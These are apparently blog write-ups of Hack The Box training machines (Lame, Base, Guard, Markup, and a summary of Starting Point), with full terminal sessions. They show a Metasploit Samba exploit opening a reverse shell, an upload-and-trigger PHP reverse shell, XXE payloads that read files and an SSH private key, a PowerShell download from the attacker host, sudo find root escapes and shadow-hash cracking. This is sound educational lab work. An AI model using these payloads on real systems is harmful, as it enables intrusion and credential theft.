Category: Machines

I’m back once again doing Hack The Box machines. I have recently hacked all the Starting Point machines and am now moving on to the Beginner track. I’ve written a post on my experience with the Starting Point machine which you can read here. 

Reconnaissance

The name of the machine I’m going to be looking at today and the first machine in the Beginner Track is Lame. As always, we start by checking to see whether the box is online and responding to pings.

[10.10.14.84]─[[email protected]]─[/media/sf_OneDrive/Hack The Box/Machines/Lame/Output]
└──╼ [★]$ sudo ping 10.129.81.166 | tee -a ping ping.lame.txt
[sudo] password for joe:
PING 10.129.81.166 (10.129.81.166) 56(84) bytes of data.
64 bytes from 10.129.81.166: icmp_seq=1 ttl=63 time=21.4 ms
64 bytes from 10.129.81.166: icmp_seq=2 ttl=63 time=20.4 ms

As you can see, the box is responding which means it’s safe to go ahead and run an nmap scan. I tell nmap to run safe checks, version checks and operating system identification on all ports. You can see the specific command and the output below.

[10.10.14.84]─[[email protected]]─[/media/sf_OneDrive/Hack The Box/Machines/Lame/Output]
└──╼ [★]$ sudo nmap -sC -sV -O -p0- 10.129.81.166 | tee -a nmap.lame.txt
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 10.10.14.84
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey: 
|   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
3632/tcp open  distccd     distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_smb2-time: Protocol negotiation failed (SMB2)
| smb-os-discovery: 
|   OS: Unix (Samba 3.0.20-Debian)
|   Computer name: lame
|   NetBIOS computer name: 
|   Domain name: hackthebox.gr
|   FQDN: lame.hackthebox.gr
|_  System time: 2021-09-15T14:40:20-04:00
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 40068/tcp): CLEAN (Timeout)
|   Check 2 (port 45806/tcp): CLEAN (Timeout)
|   Check 3 (port 54683/udp): CLEAN (Timeout)
|   Check 4 (port 34973/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
|_clock-skew: mean: 1h59m26s, deviation: 2h49m56s, median: -43s
| smb-security-mode: 
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_smb2-security-mode: Couldn't establish a SMBv2 connection.

I’ve snipped out a bunch of the stuff we don’t need to see and have highlighted the areas which I think are of interest. Going down the lists of results I see that port 21 (FTP) is open and is allowing anonymous logins. The first thing I did was to login and check to see whether there were any files on there.

[10.10.14.84]─[[email protected]]─[/media/sf_OneDrive/Hack The Box/Machines/Lame/Output]
└──╼ [★]$ sudo ftp 10.129.81.166
Connected to 10.129.81.166.
220 (vsFTPd 2.3.4)
Name (10.129.81.166:joe): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
226 Directory send OK.
ftp> 

As you can see, there wasn’t anything interesting. I know that VSFTPD 2.3.4 has CVE-2011-2523 associated with it which is a backdoor. The backdoor requires the user to login with a smiley face and it grants them access. I attempted to do this but had no luck. I used the Metasploit module but that didn’t work so I it’s safe to say it’s patched. Moving on.

Foothold Hack

So from here we move on to the next port in the list, 138 and 445 (Samba). I can see that version of Samba is 3.0.20 let’s check SearchSploit to see whether there are any known vulnerabilities for this particular version.

[10.10.14.84]─[[email protected]]─[/media/sf_OneDrive/Hack The Box/Machines/Lame/Output]
└──╼ [★]$ sudo searchsploit Samba 3.0.20
------------------------------------------
 Exploit Title                                                                                                                                              |  Path
------------------------------------------
Samba 3.0.10 < 3.3.5 - Format String / Security Bypass                                                                                                      | multiple/remote/10095.txt
Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' Command Execution (Metasploit)                                                                            | unix/remote/16320.rb
Samba < 3.0.20 - Remote Heap Overflow                                                                                                                       | linux/remote/7701.txt
Samba < 3.0.20 - Remote Heap Overflow                                                                                                                       | linux/remote/7701.txt
Samba < 3.6.2 (x86) - Denial of Service (PoC)                                                                                                               | linux_x86/dos/36741.py
------------------------------------------

As you can see from the snippet of code above, it looks like there is a command execution vulnerability and that there is a Metasploit module for. Let’s launch Metasploit (using msfconsole) and see if we can find and use the module.

msf6 > search samba 3.0.20
Matching Modules
================
   #  Name                                Disclosure Date  Rank       Check  Description
   -  ----                                ---------------  ----       -----  -----------
   0  exploit/multi/samba/usermap_script  2007-05-14       excellent  No     Samba "username map script" Command Execution

Ok we have found the exploit, we can select it by running ‘use 0’. Once we have the module loaded we can run ‘options’ to see what we need to populate the options with.

sf6 exploit(multi/samba/usermap_script) > options
Module options (exploit/multi/samba/usermap_script):
   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS  10.129.81.166    yes       The target host(s), range CIDR identifier, 
   RPORT   139              yes       The target port (TCP)
Payload options (cmd/unix/reverse_netcat):
   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.10.14.84      yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port
Exploit target:

   Id  Name
   --  ----
   0   Automatic

It looks like we only have to set the RHOSTS option. The RHOSTS option is the setting you use to declare the IP address of the remote host. The RPORT is the remote port, as you can see it is targeting port 139. The LHOST and LPORT options are our localhost IP and port that we want the machine to connect back to. With all that configured, let’s run the ‘exploit’ command and see if it creates a session.

 msf6 exploit(multi/samba/usermap_script) > exploit
[*] Started reverse TCP handler on 10.10.14.84:4444 
[*] Command shell session 1 opened (10.10.14.84:4444 -> 10.129.81.166:34291) at 2021-09-15 20:06:43 +0100
whoami
root

Hallelujah, praise the hack gods. Metasploit successfully created a session on the remote machine and not only that but it looks like we are root too. That means no privilege escalation is required on this machine. Let’s grab the root flag.

cat /root/root.txt
f40--------haXez--------712

We still have to submit the user flag so we need to go hunting for it. Let’s check home directory and see if there are any users and whether any of them is hiding the user flag.

ls /home
ftp
makis
service
user
ls /home/makis
user.txt
cat /home/makis/user.txt
8af--------haXez--------3fb

Starting Point on Hack The Box is a collection of “Very Easy” machines designed to give an introduction to the hacking world. This is the red pill that will have you feeling like Alice tumbling down the rabbit hole. Unfortunately, there are multiple rabbit holes and not all of them lead to Wonderland. Alice may have met the Cheshire Cat, but you will encounter many different types of Cat that will assist you on your journey. As Morpheus once said:

“You take the blue pill, the story ends. You wake up in your bed and believe whatever you want to. You take the red pill, you stay in Wonderland, and I show you how deep the rabbit hole goes. Remember, all I’m offering is the truth. Nothing more.”

Morpheus

Let’s begin! My name is Zero Cool (kidding! it’s Joe) and I’ve been working in Cyber for around 2 years (at the time of writing). I’ve worked in tech for almost 10 years doing various jobs but have always been drawn to hacking. These machines continuously taught me new techniques. I have write-ups of each box if you want to check them out but here I will mostly be summarising my experience with the machines.

Archetype

This is a machine that requires you to perform SMB enumeration to get credentials for a MSSQL database. The SMB enumeration was straight forward but I’ve never used the Impacket database connection tool before. I wouldn’t have even known about it if it wasn’t for this box. Once authenticated, I needed to use xp_cmdshell to execute a PowerShell command to download a reverse shell PowerShell script. After the reverse shell had connected back to my machine, further enumeration was required to grab the Administrator password from the history. This machine was a lot of a fun and I learnt about some new tools.

Starting Point Oopsie

This machine required me to leverage broken access control restrictions to impersonate another higher privilege user. This one done using the tool Burp Suite. I’m quite familiar with Burp Suite but have never encountered a situation quite like this before. I’ve brute force parameters before to get API’s to dump information that they should but this was fairly unique. Once I was able to impersonate super admin it was possible to upload a reverse shell and have the machine connect back to me. Escalating privileges to root required manipulating a script that wasn’t calling a tool by the full path. This was something I had done before but am not overly confident doing. I enjoyed this box as understanding the vulnerabilities was straight forward. 

Starting Point Vaccine

This was the next target to succumb to my amateur hacking skills. This machine required downloading a password protected ZIP archive from FTP and then using tools to generate and crack the password hash of the ZIP. The ZIP contained a PHP index file which had some hardcoded MD5 encrypted credentials. The MD5 was cracked and then it was possible to login to the website. The next step was to perform an SQL injection attack while passing it my session cookie. The SQL injection was used to get a shell on to the machine which was then upgraded using bash. I then grabbed the postgres password and switched to that user. Postgres had the sudo ability to edit a particular file with vi which I exploited to escape to root. 

Starting Point Shield

This was the next victim on the list and gave me more trouble than I expected. This machine required exploiting WordPress by adding a backdoor to one of the themes PHP files. Once the backdoor was embedded it was possible to command it to download and execute reverse shell. Once on the machine I discovered that I had to use JuicyPotato to execute nc.exe to spawn a privileged reverse shell. I had not used JuicyPotato before and had a bit of trouble choosing which process to attach it to. I’m not entirely certain how it works yet so I need to do more research on it. This box was a lot of fun though and taught me about JuicyPotato. 

Starting Point Pathfinder

This machine was next on my hit list and was my first encounter with a Domain Controller on during the Starting Point series. I’ve pen tested domain controllers before, so I sort of knew what to look out for. There were several ports that I targeted right away but the service I needed to poke was LDAP. Using the tool ldapdomaindump and authenticating as Sandra it was possible to dump user information. Then using another tool from Impacket it was possible to trick the server in to giving me a user hash which I cracked offline. With the hash cracked it was possible to perform a DCSync attack and grab the Administrator hash which gave us full access. This was a great box which I feel simulates possible configuration weaknesses that you might find in the real world.

Starting Point Included

This machine was next to get isolated and hacked by my 1337 haxor skills. Seriously though this was another fun box that leveraged directory traversal or local file inclusion. It was an obvious foothold initially due to the naming convention of the parameter used to call the index file. The machine had TFTP running so it was possible to put a reverse shell on it. By leveraging the local file inclusion attack to determine the path of the TFTP directory it was possible to call the reverse shell. 

Starting Point Markup

This was a fun machine that taught me about XML entity injection. I need to brush up on this subject so I’m going to check out the Portswigger web academy labs on it. The XXE attack allowed me to retrieve a user’s private key which I could then use to SSH to the box. After running winPEAS I found a file that the user had access to that was running as a scheduled task. Furthermore, we could echo content into this file so we dropped a netcat executable on the machine. I then echoed a command into the file so that it would create a reverse shell back to our machine the next time it ran. Great box but ran in to a few issues with it. Check out the post for more details.

Starting Point Guard

This was a relatively simple machine with a neat trick for privilege escalation. This machine used credentials from the previous machine to gain SSH access. Once on the box I needed to use the built-in shell in man pages to escape the restricted shell and cat the user flag. The shell was still restricted as I was unable to use wget or curl to download any files. I used SSH to pipe LinPEAS on to the machine. LinPEAS found that root logins were permitted with passwords and that my use could access the shadow file with the root hash inside it. Cracking the file offline allowed me to SSH to the machine as root and capture the root flag. 

Starting Point Base

This was the last machine in the Starting Point category on Hack The Box and it was a lot of fun to complete. I will admit that the web application on the machine ran horrendously slow which become tiresome at times. Base required me to snoop through listed directories and grab a PHP file containing the source code of the login page. The source code revealed it was configured in a vulnerable way that would allow me to bypass the authentication page. By intercepting and manipulating the login request it was possible to access an upload page. After uploading a reverse shell and gaining access to the box I needed to search through the web files and move laterally to the John user. After that it was a GTFOBin on the find command that elevated me to root and allowed me to capture the final flag. 

Conclusion

This was a fun learning experience that made me think about the solutions. I spent a lot of time researching each of the findings and have a huge list of things I still have to look in to. I would like to revisit each of the machines once I have levelled up my skillset to see if there are any other ways that they could be completed. I’m drawn to Cyber Security and hacking like a moth to a flame so this was a really fun challenge for me. If you have an interest in tech or are already working in tech and want to improve your skillset then I highly recommend giving this a go.

This is the final machine of the Starting Point category on Hack The Box. I’ve been looking forward to doing this machine since I completed the last one. In traditional techy fashion however, I‘ve just spent most of the evening trying to work out why my Virtual Machine kept crashing. For some reason it kept producing invalid memory address registers. After an update, a reboot, and some tinkering, it now appears to be fine. That has nothing to do with this though so let’s jump right in.

Reconnaissance

Ok so first, after spawning the machine we ping it to check that it’s online.

[10.10.14.57]─[[email protected]]─[/media/sf_E_DRIVE/OneDrive/Hack The Box/Machines/Base/Output]
└──╼ [★]$ sudo ping 10.10.10.48 | tee -a ping.10.10.10.48.txt
PING 10.10.10.48 (10.10.10.48) 56(84) bytes of data.
64 bytes from 10.10.10.48: icmp_seq=1 ttl=63 time=21.6 ms
64 bytes from 10.10.10.48: icmp_seq=2 ttl=63 time=20.5 ms

The machine is talking to us! we have it right where we want it! Time to hack it with nmap.

[10.10.14.57]─[[email protected]]─[/media/sf_E_DRIVE/OneDrive/Hack The Box/Machines/Base/Output]
└──╼ [★]$ sudo nmap -sC -sV -O -p0- 10.10.10.48 | tee -a nmap.10.10.10.48.txx
Starting Nmap 7.91 ( https://nmap.org ) at 2021–09–14 17:41 BST
Nmap scan report for 10.10.10.48
Not shown: 65534 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 f6:5c:9b:38:ec:a7:5c:79:1c:1f:18:1c:52:46:f7:0b (RSA)
|_ 256 b8:65:cd:3f:34:d8:02:6a:e3:18:23:3e:77:dd:87:40 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Site doesn’t have a title (text/html)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

It looks like we have a webserver running on Ubuntu. Before I look at the site, I will launch a dirb scan to check for any interesting directories that we can hack.

[10.10.14.57]─[[email protected]]─[/media/sf_OneDrive/Hack The Box/Machines/Base/Scripts]
└──╼ [★]$ sudo dirb http://10.10.10.48 /usr/share/dirb/wordlists/big.txt -w
— — — — — — — -
DIRB v2.22 
By The Dark Raver
— — — — — — — — -
START_TIME: Tue Sep 14 22:51:33 2021
URL_BASE: http://10.10.10.48/
WORDLIST_FILES: /usr/share/dirb/wordlists/big.txt
OPTION: Not Stopping on warning messages
 — — — — — — — — -
GENERATED WORDS: 20458
— — Scanning URL: http://10.10.10.48/ — — 
==> DIRECTORY: http://10.10.10.48/_uploaded/ 
==> DIRECTORY: http://10.10.10.48/login/ 
+ http://10.10.10.48/server-status (CODE:403|SIZE:276) 
==> DIRECTORY: http://10.10.10.48/static/ 
— — Entering directory: http://10.10.10.48/_uploaded/ — — 
(!) WARNING: Directory IS LISTABLE. No need to scan it. 
 (Use mode ‘-w’ if you want to scan it anyway)
— — Entering directory: http://10.10.10.48/login/ — — 
(!) WARNING: Directory IS LISTABLE. No need to scan it. 
 (Use mode ‘-w’ if you want to scan it anyway)
- — Entering directory: http://10.10.10.48/static/ — — 
(!) WARNING: Directory IS LISTABLE. No need to scan it. 
 (Use mode ‘-w’ if you want to scan it anyway)
==> DIRECTORY: http://10.10.10.48/static/fonts/ 
==> DIRECTORY: http://10.10.10.48/static/images/ 

Interesting, it looks like the server is configured to allow directory listings. This is significant security oversight. This allows us to browse the directories and determine the file structure which could assist with a hack. This setting can easily be changed in the server configuration but for now let’s leverage that weakness and snoop around.

There are some interesting directories and files on the server, one of which is named login.php.swp and contains the following PHP code:

<?php
session_start();
if (!empty($_POST[‘username’]) && !empty($_POST[‘password’])) {
require(‘config.php’);
if (strcmp($username , $_POST[‘username’]) == 0) {
if (strcmp($password, $_POST[‘password’]) == 0) {
$_SESSION[‘user_id’] = 1;
header(“Location: upload.php”)
} else {
print(“<script>alert(‘Wrong Username or Password’)</script>”);
}} else {
print(“<script>alert(‘Wrong Username or Password’)</script>”);
}

Foothold Hack

It appears as if the username and passwords are being put in to a short array and checked with strcmp. By intercepting and changing the request in Burp we can hack the syntax with an array of our own, and can cause the application to misbehave and hopefully bypass authentication. First, we will need to navigate to the site and submit a login request. We will then need to ensure the browser is configured to send the requests to Burp and that Burp intercept is on.

Second, As soon as Burp has intercepted the request we need to modify it slightly to add our own empty arrays. These arrays need to be added at the end of username and password before the input is received. You can see from the screenshot below that I have added an open and close square bracket to add the array.

Finally, we forward the request, and the subsequent set-cookie request with Burp and wait for the web application to respond. The page we are redirected to is an upload page. We know from our dirb results that there is an _uploaded directory. If we assume that is where the file upload puts files then we should be able to upload a reverse shell and hack it from there.

I used the pentestermonkey’s PHP Reverse Shell and uploaded it to the application. I started my netcat listener and then curled the URL to trigger the PHP reverse shell.

[10.10.14.57]─[[email protected]]─[/media/sf_OneDrive/Hack The Box/Machines/Base/Scripts]
└──╼ [★]$ sudo curl http://10.10.10.48/_uploaded/shell.php

As expected. The shell worked and I was given acces to the box. Before we do anything else, we need to upgrade our shell so let’s run that Python 1 liner.

$ python3 -c ‘import pty;pty.spawn(“/bin/bash”)’
[email protected]:/$

Now that that’s sorted, let’s check out the rest of the website files. When websites connect to databases, they require a database configuration file. Database configuration files contain passwords that could be used to gain access to sensitive information. There are other files like htaccess and htpasswd that could contain sensitive information too so it’s always a good idea to check them.

[email protected]:/$ cat /var/www/html/login/config.php
cat /var/www/html/login/config.php
<?php
$username = “admin”;
$password = “thisisagoodpassword”;

*Smug grin intensifies* The config.php file contains a password. We know this is the password that is required to login to the application, but we don’t know whether it has been reused on the system anywhere. With that in mind, let’s check the home directory and see what users are on the system.

[email protected]:/$ ls /home
john
[email protected]:/$ ls /home/john
user.txt

Privilege Escalation Hack

Sorry John but it looks like you are going to be our victim today. I’m sure you’re lovely guy but if you have reused your password then you deserved to be pwned! (joking, or am I?). Now that we have a username and password, Lets try and switch user to john.

[email protected]:/$ su john
su john
Password: thisisagoodpassword
[email protected]:/$

I believed in you john and you let me down. While we’re here lets grab the user flag from johns home directory.

[email protected]:/$ cat /home/john/user.txt
cat /home/john/user.txt
0011000100110011<haXez>0011001100110111

With that out the way, lets see how we can elevate our provides and grab the root flag. The first thing we need to know is what john can run, besides his security posture in to the ground.

[email protected]:/$ id
uid=1000(john) gid=1000(john) groups=1000(john)[email protected]:/$ sudo -l
[sudo] password for john: thisisagoodpassword
Matching Defaults entries for john on base:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User john may run the following commands on base:
(root : root) /usr/bin/find

It appears john has permission to run the find command as root. Shame he couldn’t FIND a better password. Moving forward we should check whether find has any methods of escape, like the one we performed on Guard with the man command. In order to this, I checked the website GTFOBins and it says the following command can be used to escape a restricted shell. Hopefully that means it will drop us in to a root shell.

[email protected]:/$ sudo find . -exec /bin/sh \; -quit
# whoami
root

Now all that’s left to do is grab the root flag and we’re done with starting point.

# cat /root/root.txt
0011000100110011<haXez>0011001100110111

Check out some of my other posts including Archetype, Oopsie, Vaccine, Shield, Pathfinder, Included and Markup.

haxez is back, back again, hacking machines, tell a friend. That’s right, back again with another writeup of a Hack The Box Machine. This time we are looking at Guard, please check out my other posts on hack Archetype, Oopsie, Vaccine, Shield, Pathfinder, Included and Markup if you haven’t already done so.

Reconnaissance

Hacking this machine was incredibly fun and it didn’t take very long. Lets get straight in to it. First thing I always like to check is whether the box responds to ping requests. This helps to determine whether the machine is online or not.

└──╼ [★]$ sudo ping 10.10.10.50 | tee -a ping.10.10.10.50.txt
 [sudo] password for joe: 
 PING 10.10.10.50 (10.10.10.50) 56(84) bytes of data.
 64 bytes from 10.10.10.50: icmp_seq=1 ttl=63 time=37.1 ms
 64 bytes from 10.10.10.50: icmp_seq=2 ttl=63 time=21.8 ms
 64 bytes from 10.10.10.50: icmp_seq=3 ttl=63 time=21.9 ms
 64 bytes from 10.10.10.50: icmp_seq=4 ttl=63 time=22.4 ms

You may notice that I tend to pipe a lot of my commands to tee -a filename.txt. This is a habbit I got in to after a few exams. I also copy the output in to a seperate text file called notes. I tend to write the walkthroughs as I hack and it doesn’t hurt to have more than one copy of something.

We know the box is responding to pings so let’s see what services are actually listening on the box. We can do this by running an nmap scan.

└──╼ [★]$ sudo nmap -sC -sV -O -p0- 10.10.10.50 | tee -a nmap.10.10.10.50.txt
 Starting Nmap 7.91 ( https://nmap.org ) at 2021–09–13 17:06 BST
 Nmap scan report for 10.10.10.50
 Host is up (0.023s latency).
 Not shown: 65535 closed ports
 PORT STATE SERVICE VERSION
 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
 | ssh-hostkey: 
 | 2048 2a:64:23:e0:a7:ec:1d:3b:f0:63:72:a7:d7:05:57:71 (RSA)
 | 256 b3:86:5d:3d:c9:d1:70:ea:d6:3d:36:a6:c5:f2:be:5d (ECDSA)
 |_ 256 c0:5b:13:0f:d6:e6:d1:71:2d:55:e2:4a:e2:27:0e:c2 (ED25519)
 No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).

Foothold Hack

The only thing listening on the box appears to be SSH. We could try and bruteforce it with Hydra but I don’t think that’s the intended approach. Since SSH is the only active service I’m going to assume that we should have the credentials already from a previous box. The machine Markup had an XXE vulnerability that allowed us to recover an SSH private key for the user daniel. Lets see if that works.

└──╼ [★]$ ssh -i daniel.key [email protected]
 Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0–88-generic x86_64)
 Last login: Mon Sep 13 15:38:53 2021 from 10.10.14.31
 [email protected]:~$

Lovely jubbly the key from the last box worked a treat. We are now on the box but no matter what I tried I couldn’t cat the user.txt file. Something funny was going on. I initially tried to get a shell through Vim as I have used that technique before turns out man was our man! By using the man command we can then “escape” to a shell by typing !bash.

And now we can capture the user flag.

[email protected]:~$ cat user.txt
209**********************081

So what’s next? there is a whole lot of file system to look through and not a lot of commands at our disposal. I tried to grab linPEAS from a self hosted Python server but anything I tried to do to download it failed.

[email protected]:~$ curl http://10.10.14.38/leanpeas.sh
curl: (7) Couldn’t connect to server
[email protected]:~$ ping 10.10.14.38
ping: socket: Permission denied
[email protected]:~$ http://10.10.14.38/leanpeas.sh
bash: http://10.10.14.38/leanpeas.sh: No such file or directory
[email protected]:~$ wget http://10.10.14.38/leanpeas.sh
 — 2021–09–13 16:48:20 —  http://10.10.14.38/leanpeas.sh
Connecting to 10.10.14.38:80… failed: Permission denied.
Retrying.

Further Enumeration

Right, it looks like we don’t have permissions to access the socket at all. Not good. Well I guess it’s time for some SSH magic. You can pipe commands through SSH which should allow me to run linPEAS on the remote host from a script on my local system.

─[eu-vip-22]─[10.10.14.38]─[[email protected]]─[~]
└──╼ [★]$ sudo ssh -i daniel.key [email protected] ‘bash -s’ < /Path/To/linpeas.sh

Honestly, nothing quite beats the feeling you get when you do something hacky and it works. Now linPEAS was running on the remote host it was time to go through the output. I noticed some interesting things.

[+] Looking for ssl/ssh files
/home/picasso/.ssh/authorized_keys /usr/lib/initramfs-tools/etc/dhcp/dhclient-enter-hooks.d/config
PermitRootLogin yes
PubkeyAuthentication yes
PasswordAuthentication yes

Firstly, root could login with a password rather than requiring a public and private key pair. I’m not sure if this is going to make things harder or easier at this point but it’s good to take note of it.

[+] Looking for specific hashes inside files — less false positives (limit 70)
/var/backups/shadow:$6$2EEJjgy86KrZ.cbl$oCf1MzIsN7N9KziBNo7uYrHLueZLM7wySrsFYxlNtO5NVhfVsyWCSKiIURNUxOOwC0tm1kyQsiv93imCwLM0k1

It looks like linPEAS was able to grab a hash from a backup shadow file. This has got to be the way we get on to the box as root. lets check out the backup file.

[email protected]:~$ cat /var/backups/shadow
root:$6$KIP2PX8O$7VF4mj1i.w/.sIOwyeN6LKnmeaFTgAGZtjBjRbvX4pEHvx1XUzXLTBBu0jRLPeZS.69qNrPgHJ0yvc3N82hY31:18334:0:99999:7:::
daemon:*:18113:0:99999:7:::
---SNIP---
pollinate:*:18113:0:99999:7:::
sshd:*:18326:0:99999:7:::
daniel:$6$2EEJjgy86KrZ.cbl$oCf1MzIsN7N9KziBNo7uYrHLueZLM7wySrsFYxlNtO5NVhfVsyWCSKiIURNUxOOwC0tm1kyQsiv93imCwLM0k1:18326:0:99999:7:::

Privilege Escalation Hack

I’ve snipped out the stuff we don’t need and you can see that the backup file contains the hashes for both root and daniel. Ok let’s grab a copy of it and crack it offline. It should be noted that I also noticed I could cat the /etc/passwd file. With that in mind I grabbed a copy of that too as I was going to use unshadow and attempt to crack it with JohnTheRipper.

└──╼ [★]$ sudo unshadow passwd.txt shadow.txt > passwords.txt

Unfortunately, John didn’t like the file and was unable to crack them so I switched to hashcat with the rockyou wordlist.

└──╼ [★]$ sudo hashcat -m 1800 — force root.hash /usr/share/wordlists/rockyou.txt$6$KIP2PX8O$7VF4mj1i.w/.sIOwyeN6LKnmeaFTgAGZtjBjRbvX4pEHvx1XUzXLTBBu0jRLPeZS.69qNrPgHJ0yvc3N82hY31:password#1
 
Session……….: hashcat
Status………..: Cracked
Hash.Name……..: sha512crypt $6$, SHA512 (Unix)
Hash.Target……: $6$KIP2PX8O$7VF4mj1i.w/.sIOwyeN6LKnmeaFTgAGZtjBjRbv…82hY31
Time.Started…..: Mon Sep 13 17:57:10 2021, (1 min, 3 secs)
Time.Estimated…: Mon Sep 13 17:58:13 2021, (0 secs)
Guess.Base…….: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue……: 1/1 (100.00%)
Speed.#1………: 1751 H/s (6.91ms) @ Accel:32 Loops:512 Thr:1 Vec:4
Recovered……..: 1/1 (100.00%) Digests
Progress………: 110336/14344386 (0.77%)
Rejected………: 0/110336 (0.00%)
Restore.Point….: 110208/14344386 (0.77%)
Restore.Sub.#1…: Salt:0 Amplifier:0–1 Iteration:4608–5000
Candidates.#1….: pooh-bear -> pashaungu

The password turned out to be “password#1”. I honestly think we could have brute forced that quite quickly but alas, we were then able to login to the machine as root and capture the root flag.

└──╼ [★]$ ssh [email protected]
[email protected]’s password: 
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0–88-generic x86_64)
Last login: Mon Sep 13 15:50:13 2021 from 10.10.14.31
[email protected]:~# cat root.txt
386*******************f681

And we’re hack to hack the starter track. By that I mean it’s time to hack another machine from the Starting Point of Hack The Box. I have been going through the Starting Point machines one by one and so far we have been able to hack Archetype, Oopsie, Vaccine, Shield, Pathfinder and Included. Now it’s time to move on to Markup!

This is a great box which took me longer than it should have due to my own mistakes. Oh well, it was great fun and I felt silly after I realised what I was doing wrong.

Reconnaissance

So first we ping.

└──╼ [★]$ sudo ping 10.10.10.49 | tee -a ping.10.10.10.49.txt
[sudo] password for joe: 
PING 10.10.10.49 (10.10.10.49) 56(84) bytes of data.
64 bytes from 10.10.10.49: icmp_seq=1 ttl=127 time=240 ms

“IT IS ALIVVEE” so lets go ahead and nmap this sucker.

└──╼ [★]$ sudo nmap -sC -sV -p0- -T4 10.10.10.49
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH for_Windows_8.1 (protocol 2.0)
| ssh-hostkey: 
| 3072 9f:a0:f7:8c:c6:e2:a4:bd:71:87:68:82:3e:5d:b7:9f (RSA)
80/tcp open http Apache httpd 2.4.41 ((Win64) OpenSSL/1.1.1c PHP/7.2.28)
| http-cookie-flags: 

I’ve snipped out the parts we don’t need to see. So we have a web server and Secure Shell running. This is a Windows box right? okie dokie lets take a look at the website.

Ok so not a lot going on. I had a quick poke at it with Nikto and dirb but I didn’t find anything that interesting. Lets try the credentials we recovered from the previous box Pathfinder.

Ok great, those seem to have worked. The website has some basic functionality that allows you to place orders. If we capture the request and look at it with Burp we can see that it’s using XML. Furthermore, we can perform an XML injection (XXE External Entity Injection) attack to receive the contents of the win.ini file.

<?xml version=”1.0" encoding=”UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM “file:///c:/windows/win.ini”> ]> <order> <quantity> 1337 </quantity> <item> &xxe; </item> <address> haktheplanet </address> </order>

Foothold Hack

Ok so we know we can grab files through the XXE attack, whats next? Wasn’t there and SSH port open when we performed the nmap scan? Ok lets find out where Windows stores it’s SSH keys. So by pointing our payload at the .ssh/id_rsa file we should be able to recover the private key.

<?xml version=”1.0" encoding=”UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM 'file:///C:/Users/Daniel/.ssh/id_rsa'> ]> <order> <quantity> 1337 </quantity> <item> &xxe; </item> <address> haktheplanet </address> </order>

Ok so I grabbed the key and saved it in a file called daniel.key. Make sure to place this in a directory that you own and make sure to change the file permissions to 600. You can do that using chmod 600 file.ext. So next we try to SSH to the server with Daniels key.

Woop, we have access to the box, let’s see if we can grab the user.txt from Daniel’s desktop.

└──╼ [★]$ sudo ssh -i daniel.key [email protected]
Microsoft Windows [Version 10.0.17763.107]
© 2018 Microsoft Corporation. All rights [email protected] C:\Users\daniel>whoami
markup\[email protected] C:\Users\daniel>type C:\Users\Daniel\Desktop\user.txt 
032dXXXXXXXXXXXXXXXXX8ef7

We are on the box and have successfully captured the user flag, we need to find a way to escalate our privileges to administrator to capture that all elusive root.txt flag. I downloaded winPEAS and hosted it using the python http module. Once the file was downloaded to the target machine I ran it to see if there were any interesting files.

[email protected] C:\Users\daniel\Documents>powershell -Command (New-Object Net.WebClient).DownloadFile(‘http://10.10.14.38/winPEASany.exe', ‘win.exe’)

Ok so after a bit of digging around I found a couple of things that I thought would be useful. The first one was a password, it didn’t seem to work for the administrator though but yoink, will keep that for later.

The next thing winPEAS found was an interesting directory and file that all users appeared to have access to.

Privilege Escalation Hack

This isn’t a typical directory or file you find on a Windows system so it was worth investigating. I ran the icacls command on the file to see what permissions were assigned to it.

PS C:\Users\daniel\Documents> icacls C:\Log-Management\job.bat
C:\Log-Management\job.bat BUILTIN\Users:(F)
 NT AUTHORITY\SYSTEM:(I)(F)
 BUILTIN\Administrators:(I)(F)
 BUILTIN\Users:(I)(RX)
Successfully processed 1 files; Failed processing 0 files

